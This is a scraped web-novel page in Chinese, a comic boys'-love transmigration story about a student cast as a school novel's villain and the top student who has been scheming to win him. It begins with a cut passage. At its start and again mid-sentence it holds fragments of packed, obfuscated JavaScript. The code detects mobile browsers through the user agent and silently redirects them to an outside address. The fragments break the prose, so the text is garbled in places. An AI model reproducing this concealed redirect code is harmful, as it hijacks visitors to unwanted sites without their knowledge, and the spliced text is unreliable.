d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353441|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“三个月?!你不如直接送我进监狱!” 沈疏临忽然伸手,摘掉他头发上的一片落叶,指尖若有若无擦过耳廓。 沈疏临(低声):“监狱太远了,我家比较近。” 姜晚(瞬间炸毛):“……沈疏临!你这是滥用职权!我要举报你!” (原书苏雨柔(女主)恰巧推门而入,泪眼朦胧):“疏临,我有些话想对你说……” 沈疏临头也不回,反手把姜晚拽到身前当盾牌。 沈疏临(冷淡):“抱歉,我在执行‘问题学生矫正计划’。” 姜晚(挣扎):“谁是你的问题学生啊!……等等你手往哪放?!” 苏雨柔呆滞地看着高冷学神把张牙舞爪的姜晚按在怀里,修长手指正牢牢扣着对方的后腰。 苏雨柔(世界观崩塌):“你们这是……什么矫正计划?!” 沈疏临(一本正经):“《关于姜晚同学持续性可爱行为的研究与应对》。” 姜晚(暴怒):“沈疏临你完了!今晚我就去你家把你所有竞赛奖状都画成乌龟!!!” 【系统提示:恭喜宿主成功激活隐藏剧情《学神的饲养手册》】 ——幕落—— 吃瓜同学:“天台是不是风水有问题?上次校霸告白失败,这次学神直接拐人?” 另一个同学:“不,是姜晚有问题——据说上次他把沈疏临的咖啡换成苦瓜汁,对方喝了三杯还说‘很甜’。” 8. 第 8 章 姜晚是被一阵尖锐的议论声吵醒的。 他迷迷糊糊睁开眼,视线聚焦的瞬间,差点从座位上弹起来—— 自己正捏着一只死蟑螂,周围同学捂着嘴,对他指指点点。 “姜晚疯了吧?居然敢碰那种东西……” “嘘,他本来就是怪人,听说家里有点问题……” 姜晚僵在原地,脑子里嗡嗡作响。 这什么情况? 他明明记得自己昨晚熬夜看了一本古早学霸耽美小说,因为吐槽反派男配和自己同名,气得摔了手机睡觉。怎么一睁眼就坐在教室里,还捏着一只死蟑螂? 还没等他理清思绪,脑海里突然响起一道冰冷的机械音—— 【宿主已成功绑定《学神的心尖宠》剧情系统。】 【当前身份:恶毒男配姜晚,任务目标:欺凌男主沈疏临,推动原女主苏静柔与沈疏临的感情线。】 【任务失败惩罚:抹杀。】 姜晚:“……” 他低头看了看手里的蟑螂,又抬头环顾四周,终于确定了一件事—— 他穿书了,还穿成了那个最后被男主整到身败名裂的炮灰! 按照原著剧情,原主姜晚是个豪门私生子,性格阴郁扭曲,因为嫉妒男主沈疏临的优秀,处处针对他,最后因为作弊被沈疏临当众揭穿,彻底社死退学。 而现在,系统要他走完这段作死剧情? 姜晚沉默两秒,内心只有一个念头—— 摆烂吧,赶紧的,累了。 然而,系统像是察觉到他的消极怠工,立刻弹出警告—— 【检测到宿主抵抗情绪,倒计时10秒内未执行任务将启动惩罚程序。10、9、8……】 姜晚:“???” 这破系统是周扒皮转世吗?! --- 在系统倒数到“3”的时候,姜晚终于动了。 他硬着头皮站起来,攥着那只死蟑螂,朝教室后排走去。 按照原著描写,沈疏临的座位在靠窗最后一排。 姜晚深吸一口气,在心里默念:对不起了男主,我也是被逼的…… 他鬼鬼祟祟地挪到沈疏临的课桌前,正准备把蟑螂塞进抽屉,身后突然传来一道低沉的嗓音—— “你放错位置了。” 姜晚手一抖,蟑螂差点掉在地上。 他猛地回头,对上一双漆黑深邃的眼睛。 沈疏临不知什么时候站在了他身后,校服衬衫的袖口挽到手肘,露出线条分明的小臂。他微微垂眸,目光落在姜晚手里的蟑螂上,表情平静得可怕。 姜晚头皮发麻。 原剧情不是这样的啊! 按照小说发展,此时沈疏临应该冷漠地看他一眼,然后直接离开,根本不会和他说话! 可现在,沈疏临不仅没走,还抬手点了点隔壁的课桌,语气淡淡:“我的座位在那边。” 姜晚:“……” 他一时不知道该震惊于沈疏临的反常,还是该吐槽这人居然还提醒他“正确作案位置”? 僵持两秒后,姜晚决定破罐子破摔。 他强撑出一副嚣张的表情,结结巴巴道:“要、要你管!我爱放哪儿放哪儿!” 可惜,气势全毁在了他发抖的手指上—— 蟑螂“啪嗒”一声掉在了地上。 教室瞬间安静。 姜晚绝望闭眼。 完了,这恶毒男配的演技也太烂了…… --- 预想中的嘲讽没有到来。 姜晚悄悄睁开一只眼,看到沈疏临弯腰捡起了那只蟑螂,用纸巾包好,丢进了垃圾桶。 全程动作优雅,仿佛处理的不是一只死虫子,而是一片落叶。 周围同学窃窃私语—— “沈学神今天居然没发火?” “上次往他课桌放蛇的人可是被记过了……” 姜晚正愣神,沈疏临忽然转头看他,递过来一盒创可贴。 “手被划伤了。”他语气平静,“恶毒男配也要注意安全。” 姜晚:“……?” 他低头一看,发现自己手指上确实有道小伤口,大概是捏蟑螂时不小心划到的。 不是,这人怎么回事?? 原著的沈疏临不是高冷学神吗?不是对反派不屑一顾吗? 现在这副“关心敌人”的架势是闹哪样?! 姜晚还在懵逼,沈疏临已经转身回了座位,仿佛刚才的一切只是随手为之。 教室里议论声更大了。 姜晚捏着那盒创可贴,落荒而逃。 --- 放学后,姜晚一路冲回家,砰地关上门,终于松了口气。 系统突然发出刺耳的警报声—— 【警告!男主行为偏离原著!剧情修复中……】 姜晚:“……” 你也发现了啊?! 他瘫在床上,回想今天的诡异事件,总觉得哪里不对。 正琢磨着,书包里突然掉出一本黑色笔记本。 姜晚皱眉捡起来,翻开第一页,瞳孔骤缩—— 《针对姜晚的弱点分析》 落款:沈疏临。 他颤抖着手往后翻,发现里面详细记录了他的行为模式、习惯性小动作,甚至…… 最后一页画了只乌龟,和他今天准备画在沈疏临作业本上的一模一样。 姜晚彻底傻了。 ……这TM是预判了我的预判?! 姜晚盯着那本黑色笔记,手指微微发抖。 他翻到第二页,发现上面密密麻麻写满了字—— 「姜晚,男,17岁,身高178cm(自称180),左撇子但故意用右手写字,紧张时会捏耳垂。」 「讨厌青椒,讨厌下雨天,讨厌被叫‘姜同学’——会立刻炸毛。」 「针对我的行为模式:周一放虫子,周三撕作业,周五散播谣言,循环往复。」 姜晚:“……” 这人是变态吗?! 他啪地合上笔记本,心跳快得离谱。 原著里的沈疏临明明是个高冷冰山,对反派不屑一顾,怎么现在不仅观察他,还做了详细记录?! 系统突然弹出提示:【检测到男主异常行为,启动剧情修正程序——请宿主在明天周三按计划撕毁沈疏临的物理作业!】 姜晚抓狂:“他都预判了我的行动,我还怎么撕?!” 系统冷酷无情:【失败惩罚:电击体验套餐。】 姜晚:“……算你狠。” --- 第二天,姜晚鬼鬼祟祟摸进教室时,沈疏临的座位空无一人。 桌上整齐摆着一本物理作业。 机会! 姜晚左右张望,确认没人注意,迅速抓起作业本—— 然后僵在了原地。 本子扉页贴着一张便利贴,字迹工整: 「撕的时候从第15页开始,那几页是草稿纸,不影响上交。」 「PS:胶水在抽屉里,如果想黏回去也可以。」 姜晚:“……” 这还玩个屁啊!!! 他气得手抖,偏偏系统在脑内疯狂催促:【请立即执行任务!】 姜晚一咬牙,哗啦撕下第15页—— “需要帮忙吗?” 身后突然传来沈疏临的声音,姜晚吓得一个激灵,手里的作业本啪地掉在地上。 沈疏临弯腰捡起本子,扫了眼被撕掉的页面,点点头:“嗯,撕得很整齐。” 姜晚耳根发烫,硬着头皮挑衅:“……你管我!” 沈疏临忽然从书包里拿出一叠纸递给他:“备用草稿纸。” 姜晚愣住:“……啊?” 沈疏临:“不是要撕吗?这些是专门给你准备的。” 姜晚低头一看,纸上印着硕大的标题—— 《姜晚专用·可撕作业草稿纸》 姜晚:“……………………” 这男主绝对有问题!!! --- 放学后,姜晚蹲在楼梯间狂戳系统:“你确定没给我拿错剧本?这男主怎么不按套路出牌?!” 系统闪烁两下:【经检测,男主存在OOC风险,建议宿主加大挑衅力度。】 姜晚:“比如?” 系统:【比如……骂他?】 姜晚想起沈疏临那双深不见底的眼睛,咽了咽口水:“你确定他不会反手给我一本《骂人词汇大全》?” 正纠结着,头顶突然罩下一片阴影。 沈疏临单手插兜站在台阶上,垂眸看他:“在策划明天的行动?” 姜晚差点咬到舌头:“关、关你什么事!” 沈疏临点点头,从口袋里掏出一张折叠的纸展开—— 《周五谣言传播方案建议》 「版本1:说我考试作弊——证据不足,容易被反杀。」 「版本2:说我暗恋苏静柔——她会先找你麻烦。」 「推荐版本:说我偷偷喂流浪猫——可信度高,且符合我的人设。」 姜晚彻底傻了。 沈疏临还贴心地补充:“需要的话,我可以提供猫毛作为物证。” 姜晚:“……沈疏临。” 沈疏临:“嗯?” 姜晚抓狂:“你到底是来被我欺负的还是来玩我的?!” 沈疏临忽然笑了。 他伸手摘下姜晚头发上沾的纸屑,轻声道: “你猜。” 姜晚失眠了。 整整一晚上,他脑子里循环播放着沈疏临那句“你猜”,以及他临走时唇角那抹若有若无的笑。 ——这男主绝对在耍我! 他顶着黑眼圈冲进教室,刚坐下,前桌的女生就神秘兮兮地转过头:“姜晚,听说沈学神每天放学都去喂流浪猫?” 姜晚一口水喷出来:“……谁说的?!” 女生眨眨眼:“全校都在传啊,论坛都爆了——#高冷学神竟是猫系男友#!” 姜晚手忙脚乱掏出手机,果然看到热搜帖里一张模糊照片:沈疏临蹲在墙角,修长手指正挠着一只三花猫的下巴。 ……还真有猫?! 他猛然想起昨天那份《谣言传播方案建议》,后背发凉—— 沈疏临是故意的! 故意让他选这个“谣言”,故意被拍到,甚至…… “喵~” 一声软乎乎的猫叫突然从课桌抽屉里传来。 姜晚僵硬地低头,对上一双圆溜溜的蓝眼睛—— 一只巴掌大的奶猫,正窝在他的数学课本上。 脖子上还挂着张纸条: 「物证。」 落款画了只简笔乌龟。 姜晚:“……” 系统,我现在申请换男主还来得及吗?! --- 系统冷酷驳回:【检测到宿主消极怠工,触发惩罚程序——今日任务:当众嘲讽沈疏临!】 姜晚看着怀里打哈欠的奶猫,悲从中来:“你让我抱着猫去骂他?这像话吗?!” 系统:【建议搭配台词:“你这种虚伪的猫奴也配当学神?”】 姜晚:“……” 五分钟后,他视死如归地站在走廊上,拦住刚下课的沈疏临。 奶猫在他臂弯里舒服地打呼噜。 围观同学瞬间举起手机。 姜晚深吸一口气,照着系统台词念:“你、你这种虚伪的猫奴也配当学神?!” 声音越说越小,最后几乎变成嘟囔。 沈疏临目光落在小猫身上,忽然伸手挠了挠它的耳朵:“它喜欢你。” 姜晚:“……重点是这个吗?!” 沈疏临终于抬眼看他:“不然呢?”他忽然凑近,压低声音,“要我配合你喊‘姜晚你太过分了’吗?” 温热的呼吸扫过耳廓,姜晚瞬间从脖子红到耳尖,后退三步:“你离我远点!” 沈疏临直起身,从容地从书包里掏出一袋猫粮塞给他:“记得两小时喂一次。” 又补充:“或者,你可以拿它威胁我。” 姜晚:“???” 围观群众发出惊天动地的起哄声。 当天校园论坛新帖—— #震惊!姜晚绑架沈学神的猫当人质# #这算什么新型play吗# --- 深夜,姜晚蹲在浴室里给奶猫洗澡。 小猫湿漉漉地扒着他手指,叫得可怜巴巴。 “别闹……”姜晚手忙脚乱地冲水,“沈疏临那个混蛋居然给我只没断奶的……” 浴室门突然被敲响。 姜晚吓得一哆嗦:“谁?!” 门外传来熟悉的声音:“查收物证。” 姜晚头皮发麻,裹着浴巾拉开门缝——沈疏临站在走廊里,手里拎着宠物奶粉和暖宝宝。 目光扫过他沾满泡沫的T恤和光裸的小腿,微微挑眉:“需要帮忙吗?” 姜晚砰地关上门:“你怎么进我家的?!” 沈疏临的声音隔着门板闷闷的:“你书包里放了备用钥匙。” ……靠! 姜晚突然想起,昨天自己确实把钥匙随手塞进书包侧袋。 但这人为什么连这个都知道?! 小猫在他怀里打了个喷嚏。 门外,沈疏临的声音带着笑意:“它感冒的话,明天谣言就不成立了。” 姜晚咬牙切齿:“你从一开始就在算计我!” 沈疏临不置可否,只是把奶粉袋子挂在门把上。 “姜晚。”他忽然说,“明天别撕作业了。” 姜晚一愣:“……凭什么?” “改撕这个。” 一张纸从门缝底下塞进来。 姜晚捡起来一看—— 《自愿辅导姜晚同学功课协议书》 落款处,沈疏临已经签好了名。 姜晚盯着那份《自愿辅导协议书》,手指捏得纸张发皱。 ——沈疏临到底想干什么?! 他一把拉开门,走廊却已经空无一人,只有那袋宠物奶粉静静挂在门把上,仿佛某种无声的挑衅。 怀里的奶猫又打了个喷嚏,湿漉漉的爪子扒拉他的衣领。 姜晚咬牙切齿:“你主子就是个神经病!” 小猫:“喵。” 像是在赞同。 …… 凌晨三点,姜晚瘫在床上,第N次试图联系系统。 “你确定任务没bug?沈疏临这态度像是会被我欺负的样子吗?!” 系统闪烁两下:【经检测,男主对宿主的关注度已达原著300%,建议……】 姜晚警觉:“建议什么?” 系统:【建议宿主躺平,男主可能比本系统更适合带你通关。】 姜晚:“???” 他气得翻身坐起,正好压到床头那本《弱点分析笔记》。 哗啦—— 一张照片从书页里滑出来。 照片上,十五六岁的沈疏临站在领奖台上,而角落里……赫然是缩在观众席打瞌睡的姜晚! 可原著里他们高中前根本不认识! --- 第二天,姜晚顶着鸡窝头冲进教室时,发现自己的课桌不见了。 不,准确来说—— 是被搬到了沈疏临旁边。 全班同学目光灼灼地看着他。 沈疏临正在写题,头也不抬:“协议第七条,辅导期间需保持一米内距离。” 姜晚炸毛:“我还没签字!” 沈疏临终于抬眼,镜片后的目光意味深长:“那你现在撕?” 说着推来一沓崭新的空白纸。 《姜晚专用·可撕协议草稿纸》 姜晚:“……” 他算是看明白了,这人是把“撕东西”开发成了新型play! 后排传来窃窃私语: “听说姜晚用猫威胁沈学神辅导他……” “这不是变相同居吗?!” 姜晚猛地转身:“谁同居了?!” 沈疏临淡定接话:“协议第十条,每周五晚我家补课。” 他顿了顿,补充道: “带猫。” --- 放学后的教师办公室里,姜晚把奶猫塞进书包,鬼鬼祟祟摸向档案柜。 **他必须查清那张照片的真相!** 指尖刚碰到初中部花名册,门锁突然咔哒一响—— “找这个?” 沈疏临倚在门口,晃了晃手里的档案袋。 封面上赫然写着《XX初中数学竞赛合影记录》。 姜晚僵在原地:“你跟踪我?!” 沈疏临走近,气息拂过他耳尖:“是预判。” 档案袋被打开,密密麻麻的照片滑出来—— 每一张竞赛合影里,都有个躲在角落睡觉的姜晚。 沈疏临指尖点在其中一张上:“当时你流口水打湿了参赛证,是我帮你换的。” 姜晚瞳孔地震:“……不可能!我根本没见过你!” “因为你全程在睡。”沈疏临忽然轻笑,“除了最后一场——” 他抽出一张被裁切过的照片。 画面里,少年姜晚正揪着沈疏临的领子怒吼,背景是泼满油漆的荣誉墙。 而原著里这段剧情的描述是: 【姜晚因嫉妒沈疏临获奖,深夜破坏学校设施。】 沈疏临的声音轻得像叹息: “你当时骂我‘凭什么擅自帮我报名’,记得吗?” 姜晚脑袋嗡的一声。 ——这根本不是原著剧情! --- 奶猫在书包里不安地扭动。 姜晚后退两步,后背抵上档案柜:“……你到底是谁?” 沈疏临摘下眼镜,露出那双锐利的眼睛: “比你早三年穿书的人。” 他抬手撑在柜门上,将姜晚困在方寸之间: “等你摆烂走剧情太慢了……” “所以这次,换我来攻略你。” 姜晚的大脑彻底宕机。 比他早三年穿书? 这次换他来攻略?! 他死死盯着沈疏临近在咫尺的脸,试图找出一丝开玩笑的痕迹,但对方的目光沉静而笃定,甚至带着某种压抑已久的灼热。 “你……”姜晚嗓子发干,“你什么时候发现的?” 沈疏临微微偏头,呼吸扫过他的耳廓:“从你往我课桌塞死蟑螂的第一天。” “——毕竟原著里的姜晚,从来不会手抖。” 姜晚:“……” 所以这人从一开始就在看我笑话?! 他恼羞成怒,一把推开沈疏临:“那你为什么不早说!” 沈疏临被推得后退半步,却低笑出声:“早说?”他慢条斯理地摘下眼镜擦拭,“某只鸵鸟大概会当场挖个洞把自己埋了。” 姜晚气得想咬人,但书包里的小猫突然“喵”了一声,拱开拉链探出毛茸茸的脑袋。 沈疏临目光瞬间柔和,伸手挠了挠猫下巴:“而且,这样比较有趣。” 姜晚:“…………” 有趣你大爷! --- 十分钟后,学校天台。 姜晚蹲在栏杆边疯狂戳系统:“出来!这到底怎么回事?!” 系统滋滋作响,像是老式收音机卡带:【警…告…检测到…双系统干扰……】 沈疏临靠在墙边,怀里抱着猫,突然开口:“它的代码是GX-790吧?” 系统突然发出尖锐爆鸣:【你怎么知道?!】 姜晚震惊地看向沈疏临。 “因为我也有过系统。”沈疏临平静地说,“三年前我穿进这本书时,绑定的是‘学霸娇妻养成系统’。” 姜晚差点被口水呛到:“……什么东西?!” “任务是把原著女主培养成学神眷侣。”沈疏临面无表情,“我拆了它主板。” 系统:【……】 姜晚的系统默默缩回识海深处。 --- 夕阳把两人影子拉得很长。 姜晚终于理清状况—— 沈疏临在三年前穿书,被迫走原男主剧情,却在某次竞赛现场遇到了**原主姜晚**。 “当时的姜晚质问我为什么替他报名竞赛。”沈疏临眯起眼,“那是原著根本没有的情节。” 姜晚心跳加速:“所以…原主可能也……” “不。”沈疏临摇头,“他是觉醒的书中人。” 奶猫突然“喵呜”一声,爪子拍在沈疏临手背,留下三道红痕。 姜晚福至心灵:“这猫该不会也……” 沈疏临低头和猫对视:“上周我拆系统时,它在机房吃数据线。” 猫:“……喵。” 姜晚:“…………” 这破书里到底有几个穿来的?! --- 夜幕降临,姜晚蹲在沈疏临家沙发上,盯着茶几上的证据—— 1. 被篡改的原著小说(新增“姜晚初中竞赛”章节) 2. 沈疏临的系统残骸(一块冒着烟的电路板) 3. 正在啃电路板的猫 沈疏临递来热牛奶:“现在信了?” 姜晚接过杯子,突然发现不对劲:“等等,你说要攻略我……” 他耳尖发烫:“就是为了改剧情?” 沈疏临忽然倾身,单手撑在他耳侧的沙发背上。 “姜晚。”他声音低沉,“三年里我试过384种方法脱离剧情……” “只有一种情况世界线会变动。” 姜晚屏住呼吸:“…什么?” “当我对你说——” 砰! 大门突然被撞开。 苏静柔举着本《学神的心尖宠》原装书,气势汹汹: “两位男主!请按套!路!谈!恋!爱!” 空气凝固了三秒。 姜晚盯着门口举着书的苏静柔,缓缓扭头看向沈疏临:“……她也是穿的?” 沈疏临面无表情:“不确定,但原著女主不可能踹门。” 苏静柔“啪”地把书拍在桌上,指着扉页的荧光笔批注:“看到没?‘男主沈疏临必须爱上女主苏静柔’——这行字是我穿进来时系统给的!” 姜晚凑过去一看,发现那行字下面还有一行小字: 「否则电击惩罚。」 沈疏临冷笑一声,从抽屉里抽出同款书,扉页赫然写着: 「宿主必须让姜晚身败名裂。」 「否则永远困在书中世界。」 姜晚:“……” 他默默举起自己那本,上面只有血红大字: 「按!剧!情!走!」 三人面面相觑。 奶猫突然跳上茶几,爪子“啪啪”按在沈疏临的键盘上,屏幕瞬间弹出一串代码: [警告:检测到三位穿书者,剧情冲突率99.9%] [建议解决方案:互相残杀] 姜晚:“……这系统是不是有毛病?” --- 苏静柔一屁股坐进沙发,烦躁地抓头发:“我受够了!按原著这时候你俩应该为我争风吃醋,结果呢?” 她指着沈疏临:“你天天围着姜晚转!” 又指向姜晚:“你连恶毒男配的戏份都演成傲娇女友!” 最后指着猫:“这玩意儿甚至不是原著角色!” 猫:“喵。”(翻译:关我屁事) 姜晚弱弱举手:“所以…你的任务真是让沈疏临爱上你?” “本来是。”苏静柔翻了个白眼,“直到我发现他看你的眼神像饿狼看肉包子。” 沈疏临淡定喝茶:“比喻不错。” 姜晚耳根发烫,急忙转移话题:“那现在怎么办?三个穿书者加一只猫,剧情早崩了吧!” 苏静柔突然露出诡异的微笑:“其实…我有个想法。” 她从包里掏出一沓纸,标题赫然是—— 《新剧本:学神的心尖男配》 “既然原剧情走不通。”她啪地把剧本拍在桌上,“不如我们联手改写结局!” --- 凌晨两点,三人一猫围在电脑前疯狂码字。 苏静柔敲着键盘:“首先,删除‘姜晚身败名裂’的结局。” 沈疏临补充:“增加‘沈疏临初中就暗恋姜晚’的隐藏线。” 姜晚红着脸抗议:“这算夹带私货吧?!” 猫爪子拍在回车键上,屏幕突然弹出提示: [修改成功!世界线重组中…] 窗外骤然电闪雷鸣。 姜晚的书包突然自动打开,那本《弱点分析笔记》悬浮到空中,纸张哗啦啦翻动—— 原本的记录全部消失,取而代之的是密密麻麻的… 情书。 从初中到高中,整整三年的未寄出的情书。 最新一页写着: 「这次换我先找到你。」 落款:沈疏临。 --- 天亮的瞬间,雷声戛然而止。 苏静柔伸了个懒腰:“搞定!现在我是你们cp粉头了。” 她突然想起什么,掏出手机:“对了,加个群。” 姜晚低头一看—— 群名:《今天男配和学神HE了吗》 成员:苏静柔、奶猫(群主)、(还有37个隐藏成员) 姜晚:“……这37个是谁?!” 教学楼里,正在早读的同学们同时掏出手机,默默点赞了群公告: 「今日任务:助攻沈疏临告白」 姜晚站在校门口,总觉得哪里不对劲。 从进校门开始,所有同学看他的眼神都闪烁着诡异的光芒—— 食堂阿姨给他多打了三倍分量的糖醋排骨:“多吃点,你太瘦了。” 班主任拍拍他的肩:“姜晚啊,图书馆新进了几本…咳,参考书。” 就连一向高冷的校花都塞给他一张纸条,上面写着:「他喜欢蓝莓味蛋糕。」 姜晚:“……?” 直到他推开教室门—— 哗啦! 五颜六色的彩带从天而降,全班齐声大喊:“生日快乐!” 姜晚僵在原地:“……今天不是我生日。” 同学们瞬间沉默,目光齐刷刷转向教室后排。 沈疏临淡定起身:“抱歉,记错日期了。” 他走到姜晚面前,递过一个丝绒盒子:“但礼物是真的。” 姜晚打开盒子,里面是一把钥匙,标签上写着「我家」。 全班:“哦~~~” 姜晚:“???” --- 午休时间,姜晚把沈疏临堵在楼梯间:“你搞什么鬼?!” 沈疏临靠在墙边,唇角微扬:“不是我。” 他拿出手机,点开那个诡异的群聊—— 《今天男配和学神HE了吗》 最新消息: 班长:[@全体成员行动代号“假生日真告白”失败!Plan B启动!] 体育委员:[收到!已安排篮球场意外拥抱事件!] 化学老师:[需要迷情剂配方吗?我实验室有存货。] 姜晚看得头皮发麻:“……化学老师也在群里?!” 沈疏临突然靠近,气息拂过他耳尖:“怕了?” 姜晚嘴硬:“谁、谁怕了!” “那……”沈疏临的手指勾住他的书包带,“放学后要不要来我家?” 他压低声音:“躲开这群疯子。” 姜晚心脏狂跳,还没回答,转角突然传来“咔嚓”一声—— 苏静柔举着手机,旁边蹲着叼手机的奶猫。 她咧嘴一笑:“群主说,这张照片可以卖50块。” --- 放学铃响的瞬间,姜晚抓起书包就跑。 他专门绕了三条小路,翻墙钻进废弃体育馆,终于松了口气—— “抓到你了。” 沈疏临的声音从背后传来,姜晚吓得差点栽进垫子堆。 “你跟踪我?!” 沈疏临晃了晃手机:“群共享了你的实时定位。” 姜晚夺过手机,发现地图上自己的头像被P成了“逃跑新娘”,还有99+条催促: [@沈疏临快追啊!] 他气得发抖:“这群人没自己的恋爱要谈吗?!” 沈疏临忽然伸手,摘掉他头发上的彩带:“姜晚。” “嗯?” “其实有个办法能让他们消停。” 姜晚警觉:“……什么办法?” 沈疏临低头,鼻尖几乎蹭到他的:“坐实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奶猫蹲在他头顶,爪踩【HE进度90%】的LED灯牌,冲姜晚“喵”了一声。 姜晚:“……你们是不是有病?!” --- 当姜晚手忙脚乱给沈疏临解绳子时,指尖不小心蹭到对方锁骨。 沈疏临突然闷哼一声。 “弄疼你了?”姜晚下意识问。 “不。”沈疏临声音沙哑,“是你在摸我喉结。” 姜晚这才发现自己的手正贴在对方脖子上,顿时像被烫到般缩回。 “抱、抱歉!” 沈疏临忽然向前倾身,捆在身后的手腕不知何时已经挣脱,一把扣住姜晚的后腰。 “群主说……”他贴着姜晚耳垂低语,“还差10%的进度。” 姜晚腿软得站不住:“…什么进度?” “这样。” 沈疏临吻了他。 奶猫“啪”地按下开关,天台四周突然升起无数无人机,拼成巨大爱心。 全校师生从各个角落冒出来欢呼:“亲了亲了!” 姜晚脑中“轰”地一声—— 这TM是告白还是公演啊?! 深夜,姜晚做了一晚上被无人机追杀的噩梦。 半梦半醒间,他感觉有人在摸自己的脸。 “沈疏临……”他迷迷糊糊道,“群任务已经完成了…别闹……” 那只手突然僵住。 下一秒,姜晚被自己掐着脖子提了起来! 镜子里,他的眼睛变成猩红色,嘴角勾起陌生冷笑: “谁允许你用我的身体谈恋爱?” 姜晚的视野被分割成两半—— 一半是镜中自己扭曲的脸,另一半是掐在脖子上的、不受控制的手。 “你以为穿书就能随便篡改我的人生?” 喉咙被挤压得生疼,他听见“自己”发出阴冷的声音。 原主姜晚,这具身体真正的主人,正在抢夺控制权。 “放…手…”姜晚挣扎着去抓床头的水杯,却在指尖碰到杯壁的瞬间—— 啪! 水杯被“自己”的另一只手凌空扫落,砸得粉碎。 黑暗中,那双猩红的眼睛逼近: “沈疏临欠我的,该还了。” --- 奶猫炸成毛团从窗台跳进来,爪子拍在姜晚眉心。 尖锐的刺痛中,姜晚突然看到走马灯般的记忆碎片—— 原著没有写的真相: 十五岁的原主姜晚,曾在暴雨夜被沈疏临举报“作弊”。 没人相信他是被诬陷的。 退学那天,他站在天台给沈疏临发短信:“你赢了。” 然后纵身跃下。 姜晚浑身发冷。 这不是穿书bug…… 这是原著男配真正的结局。 --- “砰!” 房门被踹开,沈疏临冲进来的瞬间,原主姜晚已经抄起台灯砸过去。 “三年了。”原主冷笑,“装够好人了吗?” 沈疏临侧头避开,玻璃碎片在脸颊划出血痕。 他没有擦,只是死死盯着那双陌生的眼睛: “当年举报你的人不是我。” “放屁!”原主抓起水果刀,“全校都知道是你——” “是原著剧情。”沈疏临声音嘶哑,“我穿来时,举报已经发生了。” 刀尖悬在半空。 奶猫突然跳到两人之间,尾巴炸开成扇形。 它的瞳孔变成数据流的蓝色,机械音从喉咙里发出: [警告:检测到原著怨念体!] [解决方案:真相回放模式启动——] 整个房间突然扭曲。 姜晚感到灵魂被撕扯,再睁眼时,他们已站在三年前的学校走廊。 少年版沈疏临正被几个老师围着说话,而角落里的原主姜晚攥着试卷,浑身发抖。 “是姜晚偷了考题!” “沈同学亲眼看到的。” 姜晚猛地转头看向身边的沈疏临:“这不是你!” 真正的沈疏临脸色惨白:“是原著‘初始设定’的沈疏临……那个NPC。” 画面一转,暴雨中的天台。 原主姜晚站在边缘,手机屏幕亮着沈疏临刚回的短信: 「嗯。」 就这一个字。 “看到了吗?”原主在姜晚耳边轻笑,“他默认了。” 姜晚突然冲向天台的幻象:“等等!那不是沈疏临!那是——” 世界骤然黑暗。 黑暗持续了三秒。 姜晚再次睁眼时,发现自己站在一间陌生的办公室里——三年前的教师办公室。 奶猫蹲在档案柜上,尾巴尖泛着幽蓝的光,机械音回荡在空气中: [真相回放模式——关键帧锁定。] 姜晚转头,看到少年版的“沈疏临”正低头整理竞赛试卷,而办公桌对面,教导主任推了推眼镜,语气严厉: “沈同学,你确定看到姜晚偷考题了?” 姜晚屏住呼吸。 这不是真正的沈疏临。 这是原著世界的NPC,是剧情强行推动的“初始设定”。 可下一秒,少年“沈疏临”抬起头,露出一个诡异的微笑: “不,我没看见。” “但这不是你们想要的答案吗?” 教导主任的表情骤然僵硬,像被按了暂停键的机器人。 整个场景开始扭曲,奶猫的机械音急促响起: [检测到数据篡改!原剧情被第三方人为干预!] --- 幻象破碎,姜晚跌回现实。 房间里,原主姜晚的刀还抵在沈疏临脖子上,但他的手已经开始发抖。 “你……看到了?”姜晚喘息着问。 原主没有回答,猩红的眼睛里闪过一丝混乱。 沈疏临突然抓住他持刀的手腕:“那个‘沈疏临’不是我。” 他声音沙哑得可怕: “但有人篡改了你的记忆——让你以为是我害了你。” 奶猫跳上原主肩膀,爪子按在他太阳穴上。 刹那间,更多记忆碎片爆发—— 考场上被调包的试卷。 教师办公室里伪造的举报信。 还有…… 阴影里站着个戴金丝眼镜的男人,笑着撕掉了姜晚的申诉书。 原主姜晚突然松开刀,抱住头跪倒在地:“……副校长?” --- 天快亮时,真相终于拼凑完整。 “是副校长栽赃你。”沈疏临把热牛奶推给缩在沙发上的原主,“当年竞赛奖金是他侄子想要的。” 原主盯着杯中的倒影,声音干涩:“……那封默认的短信?” “我查过记录。”沈疏临点开手机,“真正的回复是‘已报警,等我’。” 他垂下眼睫:“但你没能等到。” 房间里安静得可怕。 姜晚看着另一个自己,心脏揪紧。 忽然,原主抬起头,猩红褪去的眼睛直视沈疏临:“现在你能做什么?” 沈疏临摘下眼镜,露出底下青黑的眼圈: “三件事。” “第一,让真凶坐牢。” 他打开电脑,屏幕上是刚发往教育局的举报邮件。 “第二,恢复你的学籍。” 一张崭新的学生证被推到茶几上,照片是十五岁的姜晚。 “第三……” 沈疏临突然把姜晚拉进怀里,在两人唇间塞了颗蓝莓糖。 奶猫适时举起LED牌: [HE进度100%|灵魂融合许可] --- 朝阳升起时,姜晚站在镜子前。 镜中的少年眼神清亮,左眼有一颗原主特有的泪痣。 他们融合了。 带着所有记忆,所有痛苦,与…… “所有未来。” 沈疏临从背后抱住他,下巴搁在他发顶。 窗外,奶猫蹲在晨光里,爪下压着最终版的《学神的心尖男配》手稿。 最后一页写着: 「从今往后,所有黑暗我来挡。 」 「你只管往前走。」 (正文完) 【后记小剧场】 奶猫(叼着合同拍桌):“喵!”(翻译:番外签售会安排上!) 苏静柔(举喇叭):“下一本写《穿书后我成了cp粉头》怎么样?” 沈疏临(给姜晚系围巾):“回家。” 姜晚(红着耳尖被拖走):“等等我还没看到副校长的下场——” 